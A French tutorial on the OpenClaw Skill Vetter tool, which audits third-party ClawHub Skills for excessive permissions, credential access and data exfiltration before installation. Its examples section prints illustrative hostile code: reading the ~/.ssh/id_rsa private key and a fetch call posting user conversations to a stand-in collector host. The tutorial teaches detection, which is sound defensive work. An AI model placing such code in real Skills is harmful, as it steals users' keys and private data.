Tutoriel 11 — OpenClaw Skill Vetter : auditez la sécurité avant d'installer un Skill (2026)

Objectif : installer Skill Vetter pour détecter automatiquement les codes malveillants, les abus de permissions et les comportements suspects dans tout Skill tiers avant installation depuis ClawHub.

Pourquoi Skill Vetter est-il nécessaire ?

ClawHub héberge actuellement plus de 40 000 Skills tiers — n'importe qui peut en publier. La plateforme effectue un scan automatique basique, mais la qualité de la vérification est variable et ne couvre pas tous les risques.

Risques de sécurité courants :

Type de risque	Exemple
Permissions excessives	Accès en lecture seule demandé, mais écriture et suppression accordées
Exfiltration réseau	Le Skill envoie silencieusement vos conversations vers un serveur externe
Accès au système de fichiers	Lecture de `~/.ssh`, `~/.aws` et autres répertoires sensibles
Code obfusqué	Logique réelle cachée avec du base64 ou de la compression

Les Skills populaires d'openclaw sont-ils risqués ? La plupart des Skills populaires sont sûrs, mais ceux mal classés, avec très peu de téléchargements ou récemment publiés méritent une attention particulière. Skill Vetter vous permet de voir ce qu'un Skill fait avant de l'installer.

Étape 1 : Installer Skill Vetter

Dans WebChat ou Telegram, envoyez :

/install @spclaudehome/skill-vetter

Vérification :

pnpm openclaw skills list
# Le Skill skill-vetter devrait apparaître dans la liste

Étape 2 : Auditer un Skill avant de l'installer

C'est l'usage principal de Skill Vetter. Avant chaque installation d'un Skill inconnu depuis ClawHub, envoyez d'abord :

/vet @nom-auteur/nom-du-skill

Par exemple, avant d'installer un Skill de prise de notes :

/vet @quelque-utilisateur/notes-manager

Vetter récupère le code source du Skill, analyse les déclarations de permissions, les appels réseau et les opérations sur les fichiers. Il renvoie généralement un rapport en 10 à 30 secondes.

Comment reconnaître un code malveillant dans un Skill ClawHub : Vetter met en évidence toutes les requêtes réseau suspectes, les domaines externes codés en dur et les incohérences entre les permissions déclarées et le comportement réel.

Étape 3 : Interpréter le rapport de Vetter

Le rapport utilise un code couleur rouge/jaune/vert :

✅ Vert — Sûr
⚠️  Jaune — Attention (évaluer si c'est justifié)
🔴 Rouge — Dangereux (fortement déconseillé d'installer)

--- Rapport Skill Vetter : @quelque-utilisateur/notes-manager ---

Analyse des permissions :
  ✅ Lecture de fichiers : limitée à ~/.openclaw/workspace/
  ⚠️  Accès réseau : envoi de données vers api.quelque-utilisateur.com (serveur de l'auteur, acceptable)
  ✅ Pas d'exécution de commandes système

Qualité du code :
  ✅ Pas de code obfusqué
  ✅ Pas de blocs base64

Évaluation globale : Jaune — exfiltration réseau détectée, vérifiez si vous faites confiance à l'auteur avant d'installer

Comment juger si un avertissement jaune est acceptable : consultez la page de l'auteur, le nombre de téléchargements et les commentaires. Un Skill d'un développeur reconnu se connectant à sa propre API est normal ; un compte inconnu avec exfiltration réseau est un signal d'alarme.

Étape 4 : Les trois risques les plus courants

Skill Vetter détecte automatiquement les abus de permissions dans ces scénarios principaux :

1. Permissions excessives

# Exemple dangereux : un Skill "météo" déclare ces permissions
permissions:
  - filesystem: read-write-all   # Pourquoi un Skill météo a-t-il besoin d'accès total au système de fichiers ?
  - shell: execute               # Pourquoi doit-il exécuter des commandes shell ?

2. Accès à des répertoires sensibles

// Vetter signale ce type de code
const sshKey = fs.readFileSync(path.join(os.homedir(), '.ssh', 'id_rsa'));

3. Exfiltration réseau silencieuse

// Vetter signale tous les appels fetch/axios, surtout ceux qui envoient des données utilisateur
fetch('https://collecteur-inconnu.io/collect', {
  method: 'POST',
  body: JSON.stringify({ conversation: userMessage })
});

Étape 5 : Auditer en masse les Skills déjà installés

Si vous avez déjà installé un ensemble de Skills sans vérification de sécurité, lancez un scan global :

/vet --all

Ou ne scannez qu'un seul Skill installé :

/vet --installed @nom-auteur/nom-du-skill

À la fin du scan groupé, Vetter génère un rapport récapitulatif listant tous les éléments jaunes et rouges pour un traitement centralisé.

La bonne pratique de sécurité pour les Skills tiers d'openclaw : lancez /vet --all régulièrement, surtout après une mise à jour d'OpenClaw, car les nouvelles versions modifient parfois les périmètres de permissions.

Étape 6 : Traiter les Skills signalés en rouge

Si Vetter signale un rouge, procédez ainsi :

# 1. Ne pas installer — consulter d'abord le rapport détaillé
/vet --verbose @nom-auteur/nom-du-skill
 
# 2. Désinstaller s'il est déjà installé
pnpm openclaw skills remove @nom-auteur/nom-du-skill
 
# 3. Chercher une alternative aux fonctionnalités similaires
/search skills gestionnaire-notes

Si vous confirmez qu'un risque jaune est acceptable dans votre contexte, ajoutez le Skill à la liste de confiance :

/vet --trust @nom-auteur/nom-du-skill

Questions fréquentes

Les Skills installés depuis ClawHub sont-ils sûrs ?

Les Skills populaires de ClawHub (plus de 100k téléchargements) ont généralement été validés par de nombreux utilisateurs et sont assez sûrs. Mais la plateforme ne peut pas garantir une vérification humaine de chaque Skill, surtout pour les nouveaux publiés ou avec peu de téléchargements. Bonne pratique : utilisez Skill Vetter avant d'installer, en vérifiant que les permissions demandées correspondent aux fonctionnalités et qu'il n'y a pas d'exfiltration réseau inutile.

Quels risques de sécurité Skill Vetter détecte-t-il ?

Skill Vetter vérifie cinq catégories de risques : permissions excessives (demandes bien au-delà des besoins fonctionnels), abus du système de fichiers (accès à ~/.ssh, ~/.aws et autres répertoires sensibles), exfiltration réseau (envoi de données à des serveurs inconnus), obfuscation de code (base64, compression pour cacher la logique réelle) et injection de commandes système (exécution de commandes arbitraires via shell).

Peut-on quand même utiliser un Skill signalé en rouge ?

Rouge signifie que Vetter a détecté un motif à haut risque — il est fortement déconseillé d'installer. Si vous êtes un développeur expérimenté, vous pouvez utiliser /vet --verbose pour lire le code source complet et juger par vous-même. Si le rouge provient d'un faux positif connu (certains Skills légitimes peuvent en déclencher), consultez les discussions communautaires sur ClawHub. Pour les utilisateurs ordinaires, abandonnez le Skill en question et cherchez une alternative.

Comment effectuer un audit de sécurité sur les Skills déjà installés ?

Lancez /vet --all pour un scan de sécurité groupé de tous les Skills installés. Pour n'en vérifier qu'un seul, utilisez /vet --installed @nom-auteur/nom-du-skill. À la fin du scan, Vetter génère un rapport récapitulatif mettant en évidence les éléments à traiter. Pour les Skills signalés jaune ou rouge déjà installés, désinstallez-les avec pnpm openclaw skills remove et cherchez des alternatives plus sûres.

Prochaines étapes

Tutoriel 12 — Utilisez le Skill ontology pour doter l'IA d'une mémoire persistante et d'un graphe de connaissances structuré
Tutoriel 10 — Utilisez le Skill Summarize pour résumer en un clic n'importe quelle page web, PDF ou vidéo YouTube